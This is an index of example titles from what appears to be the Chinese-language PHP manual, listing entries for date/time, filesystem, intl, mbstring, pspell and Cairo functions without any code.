  • Example#2707 - DateTime::setTimeZone 例程
  • Example#2708 - DateTime::sub 例程
  • Example#2709 - Further DateTime::sub 例程
  • Example#2710 - 减去一定量的月份的时候需要注意
  • Example#2711 - Creating an immutable date time object
  • Example#2712 - DateTime::diff example
  • Example#2713 - DateTime object comparison
  • Example#2714 - DateTime::format example
  • Example#2715 - DateTime::getOffset example
  • Example#2716 - DateTime::getTimestamp example
  • Example#2717 - DateTime::getTimezone example
  • Example#2718 - Catching errors when instantiating DateTimeZone
  • Example#2719 - DateTimeZone::getLocation 函数的范例：
  • Example#2720 - DateTimeZone::getOffset 例子
  • Example#2721 - A timezone_transitions_get example
  • Example#2722 - timezone_abbreviations_list 函数的范例：
  • Example#2723 - timezone_identifiers_list 函数的范例：
  • Example#2724 - DateInterval example
  • Example#2725 - Parsing valid date intervals
  • Example#2726 - DateInterval example
  • Example#2727 - DateInterval and carry over points
  • Example#2728 - DateInterval and DateTime::diff with the %a and %d modifiers
  • Example#2729 - DatePeriod example
  • Example#2730 - DatePeriod example with DatePeriod::EXCLUDE_START_DATE
  • Example#2731 - DatePeriod::getDateInterval example
  • Example#2732 - DatePeriod::getEndDate example
  • Example#2733 - DatePeriod::getEndDate without an end date
  • Example#2734 - DatePeriod::getStartDate example
  • Example#2735 - checkdate 例子
  • Example#2736 - 获取默认时区
  • Example#2737 - 获取一个时区的简写
  • Example#2738 - 获取默认时区
  • Example#2739 - date_parse_from_format example
  • Example#2740 - A date_parse example
  • Example#2741 - date_parse with relative formats
  • Example#2742 - A date_sun_info example
  • Example#2743 - Polar night
  • Example#2744 - Midnight sun
  • Example#2745 - date_sunrise 例子
  • Example#2746 - date_sunset 例子
  • Example#2747 - date 例子
  • Example#2748 - 在 date 中转义字符
  • Example#2749 - date 和 mktime 例子
  • Example#2750 - date 格式举例
  • Example#2751 - date 函数示例
  • Example#2752 - 对 date 函数中的格式字符串进行转义
  • Example#2753 - date 和 mktime 联合使用示例
  • Example#2754 - date 函数格式化
  • Example#2755 - getdate 例子
  • Example#2756 - gettimeofday 例子
  • Example#2757 - gmdate 例子
  • Example#2758 - gmmktime 在 Windows 中的边界
  • Example#2759 - gmstrftime 例子
  • Example#2760 - localtime 例子
  • Example#2761 - 用 microtime 对脚本的运行计时
  • Example#2762 - 基本例子
  • Example#2763 - mktime 例子
  • Example#2764 - 下个月的最后一天
  • Example#2765 - strftime 区域的例子
  • Example#2766 - ISO 8601:1988 week number example
  • Example#2767 - %e 修改器跨平台兼容的例子
  • Example#2768 - 显示所有已知和未知的格式
  • Example#2769 - strptime 例子
  • Example#2770 - strtotime 例子
  • Example#2771 - 失败检查
  • Example#2772 - time 例子
  • Example#2773 - A timezone_name_from_abbr example
  • Example#2774 - Getting the timezonedb version
  • Example#2775 - Measure several code blocks execution and get the total
  • Example#2776 - Closing an open file descriptor
  • Example#2777 - Setting and clearing a lock
  • Example#2778 - Opening a file descriptor
  • Example#2779 - Positioning in a file
  • Example#2780 - Setting the baud rate on a serial port
  • Example#2781 - chdir 例子
  • Example#2782 - chroot example
  • Example#2783 - closedir 例子
  • Example#2784 - dir 示例
  • Example#2785 - getcwd 例子
  • Example#2786 - opendir 例子
  • Example#2787 - 列出目录中的所有文件
  • Example#2788 - 列出当前目录的所有文件并去掉 . 和 ..
  • Example#2789 - 一个简单的 scandir 例子
  • Example#2790 - scandir 在 PHP 4 中的实现
  • Example#2791 - finfo_buffer 函数例程
  • Example#2792 - finfo_file 例程
  • Example#2793 - 面向对象风格
  • Example#2794 - 过程化风格
  • Example#2795 - mime_content_type 示例
  • Example#2796 - basename 例子
  • Example#2797 - 改变文件所属的组
  • Example#2798 - 简单的 chown 用法
  • Example#2799 - clearstatcache 例子
  • Example#2800 - copy 例子
  • Example#2801 - dirname 例子
  • Example#2802 - disk_free_space 例子
  • Example#2803 - disk_total_space 例子
  • Example#2804 - 一个简单 fclose 例子
  • Example#2805 - 处理 feof 的超时
  • Example#2806 - 使用无效文件指针的 feof 例子
  • Example#2807 - File write example using fflush
  • Example#2808 - 一个 fgetc 例子
  • Example#2809 - 读取并显示 CSV 文件的整个内容
  • Example#2810 - 逐行读取文件
  • Example#2811 - 一行行读取一个 PHP 文件
  • Example#2812 - 测试一个文件是否存在
  • Example#2813 - Get and output the source of the homepage of a website
  • Example#2814 - Searching within the include_path
  • Example#2815 - Reading a section of a file
  • Example#2816 - Using stream contexts
  • Example#2817 - Simple usage example
  • Example#2818 - Using flags
  • Example#2819 - file 例子
  • Example#2820 - fileatime 例子
  • Example#2821 - filectime 例子
  • Example#2822 - 查找文件所在的组
  • Example#2823 - 将某个文件和当前文件的 inode 进行对比
  • Example#2824 - filemtime 例子
  • Example#2825 - 找到文件的所有者
  • Example#2826 - 以八进制的形式显示文件的权限
  • Example#2827 - 输出全部权限
  • Example#2828 - filesize 例子
  • Example#2829 - filetype 例子
  • Example#2830 - flock 例子
  • Example#2831 - flock 使用 LOCK_NB 选项
  • Example#2832 - 用 shell 中的通配符模式匹配来检查颜色名称
  • Example#2833 - fopen 例子
  • Example#2834 - 对二进制文件使用 fpassthru
  • Example#2835 - fputcsv 例子
  • Example#2836 - 一个简单的 fread 例子
  • Example#2837 - Binary fread example
  • Example#2838 - Remote fread examples
  • Example#2839 - fscanf 例子
  • Example#2840 - users.txt 的内容
  • Example#2841 - fseek 例子
  • Example#2842 - fstat 例子
  • Example#2843 - ftell 例子
  • Example#2844 - File truncation example
  • Example#2845 - 一个简单的 fwrite 例子
  • Example#2846 - 怎样用 glob 方便地替代 opendir 和相关函数
  • Example#2847 - is_dir 例子
  • Example#2848 - is_executable 例子
  • Example#2849 - is_file 例子
  • Example#2850 - 创建并确认一个文件是否为符号连接
  • Example#2851 - is_readable 例子
  • Example#2852 - is_uploaded_file 例子
  • Example#2853 - is_writable 例子
  • Example#2854 - 更改符号链接的所有组
  • Example#2855 - Changing the owner of a symbolic link
  • Example#2856 - Creating a simple hard link
  • Example#2857 - linkinfo 例子
  • Example#2858 - stat 和 lstat 的对照
  • Example#2859 - mkdir 例子
  • Example#2860 - 通过 recursive 参数使用 mkdir
  • Example#2861 - Uploading multiple files
  • Example#2862 - sample.ini 的内容
  • Example#2863 - parse_ini_file 例子
  • Example#2864 - parse_ini_file parsing a php.ini file
  • Example#2865 - pathinfo 例子
  • Example#2866 - pathinfo example showing difference between null and no extension
  • Example#2867 - pclose 例子
  • Example#2868 - popen 例子
  • Example#2869 - popen 例子
  • Example#2870 - 使用 readfile 强制下载
  • Example#2871 - readlink 例
  • Example#2872 - realpath_cache_get example
  • Example#2873 - realpath_cache_size example
  • Example#2874 - realpath 例子
  • Example#2875 - Windows 上的 realpath
  • Example#2876 - rename 例子
  • Example#2877 - rewind overwriting example
  • Example#2878 - rmdir 例子
  • Example#2879 - stat 例子
  • Example#2880 - Using stat information together with touch
  • Example#2881 - 创建一个符号连接
  • Example#2882 - tempnam 例子
  • Example#2883 - tmpfile 例子
  • Example#2884 - touch 例子
  • Example#2885 - 使用 time 参数的 touch
  • Example#2886 - umask 例子
  • Example#2887 - 基本的 unlink 用法
  • Example#2888 - Example usage of inotify
  • Example#2889 - Setting the path to magic.mime
  • Example#2890 - setproctitle example
  • Example#2891 - setthreadtitle example
  • Example#2892 - Checks if system administrator has signed the file
  • Example#2893 - Prints names of all extended attributes of file
  • Example#2894 - Removes all extended attributes of a file
  • Example#2895 - Sets extended attributes on .wav file
  • Example#2896 - xattr_supported example
  • Example#2897 - xdiff_file_bdiff_size example
  • Example#2898 - xdiff_file_bdiff example
  • Example#2899 - xdiff_file_bpatch example
  • Example#2900 - xdiff_file_diff_binary example
  • Example#2901 - xdiff_file_diff example
  • Example#2902 - xdiff_file_merge3 example
  • Example#2903 - xdiff_file_patch_binary example
  • Example#2904 - xdiff_file_patch example
  • Example#2905 - Patch reversing example
  • Example#2906 - xdiff_file_rabdiff example
  • Example#2907 - xdiff_string_bdiff_size example
  • Example#2908 - xdiff_string_diff example
  • Example#2909 - xdiff_string_patch example
  • Example#2910 - Enchant Usage Example
  • Example#2911 - List the backends provided by the given broker
  • Example#2912 - A enchant_broker_dict_exists example
  • Example#2913 - List all available dictionaries for one broker
  • Example#2914 - A enchant_broker_request_dict example
  • Example#2915 - Adding a word to a PWL
  • Example#2916 - A enchant_dict_describe example
  • Example#2917 - A enchant_dict_quick_check example
  • Example#2918 - A enchant_dict_suggest example
  • Example#2919 - Usage example.
  • Example#2920 - Using Gender\Gender::country
  • Example#2921 - bindtextdomain example
  • Example#2922 - gettext-check
  • Example#2923 - ngettext example
  • Example#2924 - iconv_get_encoding 例子
  • Example#2925 - iconv_mime_decode_headers 例子
  • Example#2926 - iconv_mime_decode实例
  • Example#2927 - iconv_mime_encode example
  • Example#2928 - iconv_set_encoding 例子
  • Example#2929 - iconv 例子
  • Example#2930 - ob_iconv_handler 例子：
  • Example#2931 - Example of using the procedural API
  • Example#2932 - Example of using the object-oriented API
  • Example#2933 - FRENCH_COLLATION rules
  • Example#2934 - ALTERNATE_HANDLING rules
  • Example#2935 - CASE_FIRST rules
  • Example#2936 - CASE_LEVEL rules
  • Example#2937 - collator_asortexample
  • Example#2938 - collator_compareexample
  • Example#2939 - Collator::__construct example
  • Example#2940 - collator_create example
  • Example#2941 - collator_get_attribute example
  • Example#2942 - collator_get_error_code example
  • Example#2943 - collator_get_error_message example
  • Example#2944 - collator_get_locale example
  • Example#2945 - collator_get_sort_keyexample
  • Example#2946 - collator_get_strength example
  • Example#2947 - collator_set_attribute example
  • Example#2948 - collator_set_strength example
  • Example#2949 - collator_sort_with_sort_keys example
  • Example#2950 - collator_sort example
  • Example#2951 - numfmt_create example
  • Example#2952 - NumberFormatter::create example
  • Example#2953 - numfmt_format_currency example
  • Example#2954 - OO example
  • Example#2955 - numfmt_format example
  • Example#2956 - OO example
  • Example#2957 - numfmt_get_attribute example
  • Example#2958 - OO example
  • Example#2959 - numfmt_get_error_code example
  • Example#2960 - OO example
  • Example#2961 - numfmt_get_error_message example
  • Example#2962 - OO example
  • Example#2963 - numfmt_get_locale example
  • Example#2964 - numfmt_get_pattern example
  • Example#2965 - OO example
  • Example#2966 - numfmt_get_symbol example
  • Example#2967 - OO example
  • Example#2968 - numfmt_get_text_attribute example
  • Example#2969 - OO example
  • Example#2970 - numfmt_parse_currency example
  • Example#2971 - OO example
  • Example#2972 - numfmt_parse example
  • Example#2973 - OO example
  • Example#2974 - numfmt_set_attribute example
  • Example#2975 - OO example
  • Example#2976 - numfmt_set_pattern example
  • Example#2977 - OO example
  • Example#2978 - numfmt_set_symbol example
  • Example#2979 - OO example
  • Example#2980 - numfmt_set_text_attribute example
  • Example#2981 - OO example
  • Example#2982 - locale_accept_from_http example
  • Example#2983 - OO example
  • Example#2984 - locale_compose example
  • Example#2985 - OO example
  • Example#2986 - locale_filter_matches example
  • Example#2987 - OO example
  • Example#2988 - locale_get_all_variants example
  • Example#2989 - OO example
  • Example#2990 - locale_get_default example
  • Example#2991 - OO example
  • Example#2992 - locale_get_display_language example
  • Example#2993 - OO example
  • Example#2994 - locale_get_display_name example
  • Example#2995 - OO example
  • Example#2996 - locale_get_display_region example
  • Example#2997 - OO example
  • Example#2998 - locale_get_display_script example
  • Example#2999 - OO example
  • Example#3000 - locale_get_display_variant example
  • Example#3001 - OO example
  • Example#3002 - locale_get_keywords example
  • Example#3003 - OO example
  • Example#3004 - locale_get_primary_language example
  • Example#3005 - OO example
  • Example#3006 - locale_get_region example
  • Example#3007 - OO example
  • Example#3008 - locale_get_script example
  • Example#3009 - OO example
  • Example#3010 - locale_lookup example
  • Example#3011 - OO example
  • Example#3012 - locale_parse example
  • Example#3013 - OO example
  • Example#3014 - locale_set_default example
  • Example#3015 - OO example
  • Example#3016 - Normalizer::getRawDecomposition example
  • Example#3017 - normalizer_is_normalized example
  • Example#3018 - OO example
  • Example#3019 - normalizer_normalize example
  • Example#3020 - OO example
  • Example#3021 - msgfmt_create example
  • Example#3022 - OO example
  • Example#3023 - msgfmt_format_message example
  • Example#3024 - OO example
  • Example#3025 - msgfmt_format example
  • Example#3026 - OO example
  • Example#3027 - msgfmt_get_error_message example
  • Example#3028 - OO example
  • Example#3029 - msgfmt_get_locale example
  • Example#3030 - OO example
  • Example#3031 - msgfmt_get_pattern example
  • Example#3032 - OO example
  • Example#3033 - msgfmt_parse_message example
  • Example#3034 - OO example
  • Example#3035 - msgfmt_parse example
  • Example#3036 - OO example
  • Example#3037 - msgfmt_set_pattern example
  • Example#3038 - OO example
  • Example#3039 - IntlCalendar::add
  • Example#3040 - IntlCalendar::after
  • Example#3041 - IntlCalendar::clear examples
  • Example#3042 - IntlCalendar::createInstance
  • Example#3043 - IntlCalendar::equals
  • Example#3044 - IntlCalendar::fieldDifference
  • Example#3045 - IntlCalendar::fromDateTime
  • Example#3046 - IntlCalendar::get
  • Example#3047 - IntlCalendar::getActualMaximum
  • Example#3048 - IntlCalendar::getAvailableLocales()
  • Example#3049 - IntlCalendar::getDayOfWeekType
  • Example#3050 - IntlCalendar::getErrorCode and IntlCalendar::getErrorMessage
  • Example#3051 - IntlCalendar::getErrorMessage
  • Example#3052 - IntlCalendar::getFirstDayOfWeek
  • Example#3053 - IntlCalendar::getKeyworkValuesForLocale
  • Example#3054 - Maxima examples
  • Example#3055 - IntlCalendar::getLocale
  • Example#3056 - IntlCalendar::getMinimalDaysInFirstWeek
  • Example#3057 - IntlCalendar::getNow
  • Example#3058 - IntlCalendar::getRepeatedWallTimeOption
  • Example#3059 - IntlCalendar::getSkippedWallTimeOption
  • Example#3060 - IntlCalendar::getTime
  • Example#3061 - IntlCalendar::getTimeZone
  • Example#3062 - IntlCalendar::getType
  • Example#3063 - IntlCalendar::inDaylightTime
  • Example#3064 - IntlCalendar::isEquivalentTo
  • Example#3065 - IntlCalendar::isLenient
  • Example#3066 - IntlCalendar::isWeekend
  • Example#3067 - IntlCalendar::roll
  • Example#3068 - IntlCalendar::set
  • Example#3069 - IntlCalendar::setFirstDayOfWeek
  • Example#3070 - IntlCalendar::setTime
  • Example#3071 - IntlCalendar::setTimeZone
  • Example#3072 - IntlCalendar::toDateTime
  • Example#3073 - datefmt_create example
  • Example#3074 - OO example
  • Example#3075 - datefmt_format example
  • Example#3076 - OO example
  • Example#3077 - With IntlCalendar object
  • Example#3078 - IntlDateFormatter::formatObject examples
  • Example#3079 - datefmt_get_calendar example
  • Example#3080 - OO example
  • Example#3081 - datefmt_get_datetype example
  • Example#3082 - OO example
  • Example#3083 - datefmt_get_error_code example
  • Example#3084 - OO example
  • Example#3085 - datefmt_get_error_message example
  • Example#3086 - OO example
  • Example#3087 - datefmt_get_locale example
  • Example#3088 - OO example
  • Example#3089 - datefmt_get_pattern example
  • Example#3090 - OO example
  • Example#3091 - datefmt_get_timetype example
  • Example#3092 - OO example
  • Example#3093 - datefmt_get_timezone_id example
  • Example#3094 - OO example
  • Example#3095 - IntlDateFormatter::getCalendarObject example
  • Example#3096 - IntlDateFormatter::getTimeZone examples
  • Example#3097 - datefmt_is_lenient example
  • Example#3098 - OO example
  • Example#3099 - datefmt_localtime example
  • Example#3100 - OO example
  • Example#3101 - OO example
  • Example#3102 - datefmt_parse example
  • Example#3103 - datefmt_set_calendar example
  • Example#3104 - OO example
  • Example#3105 - Example with IntlCalendar argument
  • Example#3106 - datefmt_set_lenient example
  • Example#3107 - OO example
  • Example#3108 - datefmt_set_pattern example
  • Example#3109 - OO example
  • Example#3110 - datefmt_set_timezone_id example
  • Example#3111 - OO example
  • Example#3112 - IntlDateFormatter::setTimeZone examples
  • Example#3113 - resourcebundle_count example
  • Example#3114 - OO example
  • Example#3115 - resourcebundle_create example
  • Example#3116 - ResourceBundle::create example
  • Example#3117 - resourcebundle_get_error_code example
  • Example#3118 - OO example
  • Example#3119 - resourcebundle_get_error_message example
  • Example#3120 - OO example
  • Example#3121 - resourcebundle_get example
  • Example#3122 - OO example
  • Example#3123 - resourcebundle_locales example
  • Example#3124 - OO example
  • Example#3125 - Spoofchecker::areConfusable example
  • Example#3126 - Spoofchecker::isSuspicious example
  • Example#3127 - Converting escaped UTF-16 code units
  • Example#3128 - grapheme_extract example
  • Example#3129 - grapheme_stripos example
  • Example#3130 - grapheme_stristr example
  • Example#3131 - grapheme_strlen example
  • Example#3132 - grapheme_strpos example
  • Example#3133 - grapheme_strripos example
  • Example#3134 - grapheme_strrpos example
  • Example#3135 - grapheme_strstr example
  • Example#3136 - grapheme_substr example
  • Example#3137 - idn_to_ascii example
  • Example#3138 - idn_to_utf8 example
  • Example#3139 - Testing different code points
  • Example#3140 - Testing different code points
  • Example#3141 - Testing different code points
  • Example#3142 - Testing different code points
  • Example#3143 - Testing different code points
  • Example#3144 - Testing different code points
  • Example#3145 - Testing different code points
  • Example#3146 - Testing different code points
  • Example#3147 - Testing different code points
  • Example#3148 - Enumerating over a sample range of code points
  • Example#3149 - Enumerating over a sample range of code points
  • Example#3150 - Testing different code points
  • Example#3151 - Testing different code points
  • Example#3152 - Testing different code points
  • Example#3153 - Testing different code points
  • Example#3154 - Testing different code points
  • Example#3155 - Testing different properties
  • Example#3156 - Testing different properties
  • Example#3157 - Testing different properties
  • Example#3158 - Testing different code points
  • Example#3159 - Testing different properties
  • Example#3160 - Testing different properties
  • Example#3161 - Testing different properties
  • Example#3162 - Testing different properties
  • Example#3163 - Testing different properties
  • Example#3164 - Testing different properties
  • Example#3165 - Testing different code points
  • Example#3166 - Testing different code points
  • Example#3167 - Testing different code points
  • Example#3168 - Testing different code points
  • Example#3169 - Testing different code points
  • Example#3170 - Testing different code points
  • Example#3171 - Testing different code points
  • Example#3172 - Testing different code points
  • Example#3173 - Testing different code points
  • Example#3174 - Testing different code points
  • Example#3175 - Testing different code points
  • Example#3176 - Testing different code points
  • Example#3177 - Testing different code points
  • Example#3178 - Testing different code points
  • Example#3179 - Testing different code points
  • Example#3180 - Testing different code points
  • Example#3181 - Testing different code points
  • Example#3182 - Testing different code points
  • Example#3183 - Testing different code points
  • Example#3184 - Testing different code points
  • Example#3185 - Testing different code points
  • Example#3186 - Testing different code points
  • Example#3187 - Testing different code points
  • Example#3188 - Testing different code points
  • Example#3189 - Testing different code points
  • Example#3190 - Testing different code points
  • Example#3191 - Testing different code points
  • Example#3192 - Testing different code points
  • Example#3193 - Testing different code points
  • Example#3194 - Testing different code points
  • Example#3195 - Testing different code points
  • Example#3196 - Testing different code points
  • Example#3197 - intl_error_name example
  • Example#3198 - intl_get_error_code example
  • Example#3199 - intl_get_error_message example
  • Example#3200 - intl_is_failure example
  • Example#3201 - php.ini 设置例子
  • Example#3202 - php.ini 里 EUC-JP 用户的设置
  • Example#3203 - php.ini 里 SJIS 用户的设置
  • Example#3204 - 在 php.ini 中禁用 HTTP 输入转换
  • Example#3205 - php.ini 设置例子
  • Example#3206 - 脚本例子
  • Example#3207 - mb_convert_case 例子
  • Example#3208 - 非拉丁 UTF-8 文本的mb_convert_case 例子
  • Example#3209 - mb_convert_encoding 例子
  • Example#3210 - mb_convert_kana example
  • Example#3211 - mb_convert_variables 例子
  • Example#3212 - convmap 例子
  • Example#3213 - convmap 的例子： 编码(escape) JavaScript 字符串
  • Example#3214 - mb_detect_encoding 例子
  • Example#3215 - mb_detect_order 例子
  • Example#3216 - 案例展示了无效的检测顺序
  • Example#3217 - mb_encode_mimeheader 例子
  • Example#3218 - convmap example
  • Example#3219 - mb_encode_numericentity example
  • Example#3220 - mb_encoding_aliases example
  • Example#3221 - mb_ereg_replace_callback example
  • Example#3222 - mb_ereg_replace_callback using anonymous function supported in PHP 5.3.0 or later
  • Example#3223 - mb_internal_encoding 例子
  • Example#3224 - mb_list_encodings 例子
  • Example#3225 - mb_output_handler 例子
  • Example#3226 - mb_preferred_mime_name 例子
  • Example#3227 - mb_strimwidth 例子
  • Example#3228 - mb_strtolower 例子
  • Example#3229 - 非拉丁 UTF-8 文本的 mb_strtolower 例子
  • Example#3230 - mb_strtoupper 例子
  • Example#3231 - 非拉丁 UTF-8 文本的 mb_strtoupper 例子
  • Example#3232 - mb_substitute_character 例子
  • Example#3233 - mb_substr_count 例子
  • Example#3234 - pspell_add_to_personal
  • Example#3235 - pspell_check Example
  • Example#3236 - pspell_add_to_personal Example
  • Example#3237 - pspell_config_create
  • Example#3238 - pspell_config_ignore
  • Example#3239 - pspell_config_mode Example
  • Example#3240 - pspell_config_personal
  • Example#3241 - pspell_config_repl
  • Example#3242 - pspell_config_runtogether
  • Example#3243 - pspell_new_config
  • Example#3244 - pspell_new_personal
  • Example#3245 - pspell_new
  • Example#3246 - pspell_add_to_personal
  • Example#3247 - pspell_store_replacement
  • Example#3248 - pspell_suggest example
  • Example#3249 - Basic recode_file example
  • Example#3250 - Basic recode_string example
  • Example#3251 - Cairo Example
  • Example#3252 - cairo_create example
  • Example#3253 - cairo_font_options_create example
  • Example#3254 - cairo_font_options_equal example
  • Example#3255 - cairo_font_options_get_antialias example
  • Example#3256 - cairo_font_options_get_hint_metrics example
  • Example#3257 - cairo_font_options_get_hint_style example
  • Example#3258 - cairo_font_options_get_subpixel_order example
  • Example#3259 - cairo_font_options_hash example
  • Example#3260 - cairo_font_options_merge example
  • Example#3261 - cairo_font_options_set_antialias example
  • Example#3262 - cairo_font_options_set_hint_metrics example
  • Example#3263 - cairo_font_options_set_hint_style example
  • Example#3264 - cairo_font_options_set_subpixel_order example
  • Example#3265 - cairo_font_options_status example
  • Example#3266 - cairo_format_stride_for_width example
  • Example#3267 - cairo_image_surface_create_for_data example
  • Example#3268 - cairo_image_surface_create_from_png example
  • Example#3269 - cairo_image_surface_create example
  • Example#3270 - cairo_image_surface_get_data example
  • Example#3271 - cairo_image_surface_get_format example
  • Example#3272 - cairo_image_surface_get_height example
  • Example#3273 - cairo_image_surface_get_stride example
  • Example#3274 - cairo_image_surface_get_width example
  • Example#3275 - cairo_matrix_invert example
  • Example#3276 - cairo_matrix_multiply example
  • Example#3277 - cairo_matrix_transform_distance example
  • Example#3278 - cairo_matrix_transform_point example
  • Example#3279 - cairo_matrix_translate example
  • Example#3280 - cairo_pattern_add_color_stop_rgb example
  • Example#3281 - cairo_pattern_add_color_stop_rgba example
  • Example#3282 - cairo_pattern_create_for_surface example
  • Example#3283 - cairo_pattern_create_linear example
  • Example#3284 - cairo_pattern_create_radial example
  • Example#3285 - cairo_pattern_create_rgb example
  • Example#3286 - cairo_pattern_create_rgba example
  • Example#3287 - cairo_pattern_get_color_stop_count example
  • Example#3288 - cairo_pattern_get_color_stop_rgba example
  • Example#3289 - cairo_pattern_get_extend example
  • Example#3290 - cairo_pattern_get_filter example
  • Example#3291 - cairo_pattern_get_linear_points example
  • Example#3292 - cairo_pattern_get_matrix example
  • Example#3293 - cairo_pattern_get_radial_circles example
  • Example#3294 - cairo_pattern_get_rgba example
  • Example#3295 - cairo_pattern_get_surface example
  • Example#3296 - cairo_pattern_get_type example
  • Example#3297 - cairo_pattern_set_extend example
  • Example#3298 - cairo_pattern_set_filter example
  • Example#3299 - cairo_pattern_set_matrix example
  • Example#3300 - cairo_pattern_status example
  • Example#3301 - cairo_pdf_surface_create example
  • Example#3302 - cairo_pdf_surface_set_size example
  • Example#3303 - cairo_ps_get_levels example
  • Example#3304 - cairo_ps_level_to_string example
  • Example#3305 - cairo_ps_surface_create example
  • Example#3306 - cairo_ps_surface_dsc_begin_page_setup example
  • Example#3307 - cairo_ps_surface_dsc_begin_setup example
  • Example#3308 - cairo_ps_surface_dsc_comment example
  • Example#3309 - cairo_ps_surface_get_eps example
  • Example#3310 - cairo_ps_surface_restrict_to_level example
  • Example#3311 - cairo_ps_surface_set_eps example
  • Example#3312 - cairo_ps_surface_set_size example
  • Example#3313 - cairo_scaled_font_create example
  • Example#3314 - cairo_scaled_font_extents example
  • Example#3315 - cairo_scaled_font_get_ctm example
  • Example#3316 - cairo_scaled_font_get_font_face example
  • Example#3317 - cairo_scaled_font_get_font_matrix example
  • Example#3318 - cairo_scaled_font_get_font_options example
  • Example#3319 - cairo_scaled_font_get_scale_matrix example
  • Example#3320 - cairo_scaled_font_get_type example
  • Example#3321 - cairo_scaled_font_glyph_extents example
  • Example#3322 - cairo_scaled_font_status example
  • Example#3323 - cairo_scaled_font_text_extents example
  • Example#3324 - cairo_surface_copy_page example
  • Example#3325 - cairo_surface_create_similar example
  • Example#3326 - cairo_surface_finish example
  • Example#3327 - cairo_surface_flush example
  • Example#3328 - cairo_surface_get_content example
  • Example#3329 - cairo_surface_get_device_offset example
  • Example#3330 - cairo_surface_get_font_options example
  • Example#3331 - cairo_surface_get_type example
  • Example#3332 - cairo_surface_mark_dirty_rectangle example
  • Example#3333 - cairo_surface_mark_dirty example
  • Example#3334 - cairo_surface_set_device_offset example
  • Example#3335 - cairo_surface_set_fallback_resolution example
  • Example#3336 - cairo_surface_show_page example
  • Example#3337 - cairo_surface_status example
  • Example#3338 - cairo_surface_write_to_png example
  • Example#3339 - cairo_svg_surface_create example
  • Example#3340 - cairo_svg_surface_restrict_to_version example
  • Example#3341 - cairo_svg_version_to_string example
  • Example#3342 - 面向对象风格
  • Example#3343 - 过程化风格
  • Example#3344 - 面向对象风格
  • Example#3345 - 过程化风格
  • Example#3346 - 面向对象风格
  • Example#3347 - 过程化风格
  • Example#3348 - 面向对象风格
  • Example#3349 - 过程化风格
  • Example#3350 - 面向对象风格
  • Example#3351 - 过程化风格
  • Example#3352 - 面向对象风格
  • Example#3353 - 过程化风格
  • Example#3354 - 面向对象风格
  • Example#3355 - 过程化风格
  • Example#3356 - 面向对象风格
  • Example#3357 - 过程化风格
  • Example#3358 - 面向对象风格
  • Example#3359 - 过程化风格
  • Example#3360 - 面向对象风格
  • Example#3361 - 过程化风格
  • Example#3362 - 面向对象风格
  • Example#3363 - 过程化风格
  • Example#3364 - 面向对象风格
  • Example#3365 - 过程化风格
  • Example#3366 - 面向对象风格
  • Example#3367 - 过程化风格
  • Example#3368 - CairoContext::__construct example
  • Example#3369 - 面向对象风格
  • Example#3370 - 过程化风格
  • Example#3371 - 面向对象风格
  • Example#3372 - 过程化风格
  • Example#3373 - 面向对象风格
  • Example#3374 - 过程化风格
  • Example#3375 - 面向对象风格
  • Example#3376 - 过程化风格
  • Example#3377 - 面向对象风格
  • Example#3378 - 过程化风格
  • Example#3379 - 面向对象风格
  • Example#3380 - 过程化风格
  • Example#3381 - 面向对象风格
  • Example#3382 - 过程化风格
  • Example#3383 - 面向对象风格
  • Example#3384 - 过程化风格
  • Example#3385 - 面向对象风格
  • Example#3386 - 过程化风格
  • Example#3387 - 面向对象风格
  • Example#3388 - 过程化风格
  • Example#3389 - 面向对象风格
  • Example#3390 - 过程化风格
  • Example#3391 - 面向对象风格
  • Example#3392 - 过程化风格
  • Example#3393 - 面向对象风格
  • Example#3394 - 过程化风格
  • Example#3395 - 面向对象风格
  • Example#3396 - 过程化风格
  • Example#3397 - 面向对象风格
  • Example#3398 - 过程化风格
  • Example#3399 - 面向对象风格
  • Example#3400 - 过程化风格
  • Example#3401 - 面向对象风格
  • Example#3402 - 过程化风格
  • Example#3403 - 面向对象风格
  • Example#3404 - 过程化风格
  • Example#3405 - 面向对象风格
  • Example#3406 - 过程化风格
  • Example#3407 - 面向对象风格
  • Example#3408 - 过程化风格
  • Example#3409 - 面向对象风格
  • Example#3410 - 过程化风格
  • Example#3411 - 面向对象风格
  • Example#3412 - 过程化风格
  • Example#3413 - 面向对象风格
  • Example#3414 - 过程化风格
  • Example#3415 - 面向对象风格
  • Example#3416 - 过程化风格
  • Example#3417 - 面向对象风格
  • Example#3418 - 过程化风格
  • Example#3419 - 面向对象风格
  • Example#3420 - 过程化风格
  • Example#3421 - 面向对象风格
  • Example#3422 - 过程化风格
  • Example#3423 - 面向对象风格
  • Example#3424 - 过程化风格
  • Example#3425 - 面向对象风格
  • Example#3426 - 过程化风格
  • Example#3427 - 面向对象风格
  • Example#3428 - 过程化风格
  • Example#3429 - 面向对象风格
  • Example#3430 - 过程化风格
  • Example#3431 - 面向对象风格
  • Example#3432 - 过程化风格
  • Example#3433 - 面向对象风格
  • Example#3434 - 过程化风格
  • Example#3435 - 面向对象风格
  • Example#3436 - 过程化风格
  • Example#3437 - 面向对象风格
  • Example#3438 - 过程化风格
  • Example#3439 - 面向对象风格
  • Example#3440 - 过程化风格
  • Example#3441 - 面向对象风格
  • Example#3442 - 过程化风格
  • Example#3443 - 面向对象风格
  • Example#3444 - 过程化风格
  • Example#3445 - 面向对象风格
  • Example#3446 - 过程化风格
  • Example#3447 - 面向对象风格
  • Example#3448 - 过程化风格
  • Example#3449 - 面向对象风格
  • Example#3450 - 过程化风格
  • Example#3451 - 面向对象风格
  • Example#3452 - 过程化风格
  • Example#3453 - 面向对象风格
  • Example#3454 - 过程化风格
  • Example#3455 - 面向对象风格
  • Example#3456 - 过程化风格
  • Example#3457 - 面向对象风格
  • Example#3458 - 过程化风格
  • Example#3459 - 面向对象风格
  • Example#3460 - 过程化风格
  • Example#3461 - 面向对象风格
  • Example#3462 - 过程化风格
  • Example#3463 - 面向对象风格
  • Example#3464 - 过程化风格
  • Example#3465 - 面向对象风格
  • Example#3466 - 过程化风格
  • Example#3467 - 面向对象风格
  • Example#3468 - 过程化风格
  • Example#3469 - 面向对象风格
  • Example#3470 - 过程化风格
  • Example#3471 - 面向对象风格
  • Example#3472 - 过程化风格
  • Example#3473 - 面向对象风格
  • Example#3474 - 过程化风格
  • Example#3475 - 面向对象风格
  • Example#3476 - 过程化风格
  • Example#3477 - 面向对象风格
  • Example#3478 - 过程化风格
  • Example#3479 - 面向对象风格
  • Example#3480 - 过程化风格
  • Example#3481 - 面向对象风格
  • Example#3482 - 过程化风格
  • Example#3483 - 面向对象风格
  • Example#3484 - 过程化风格
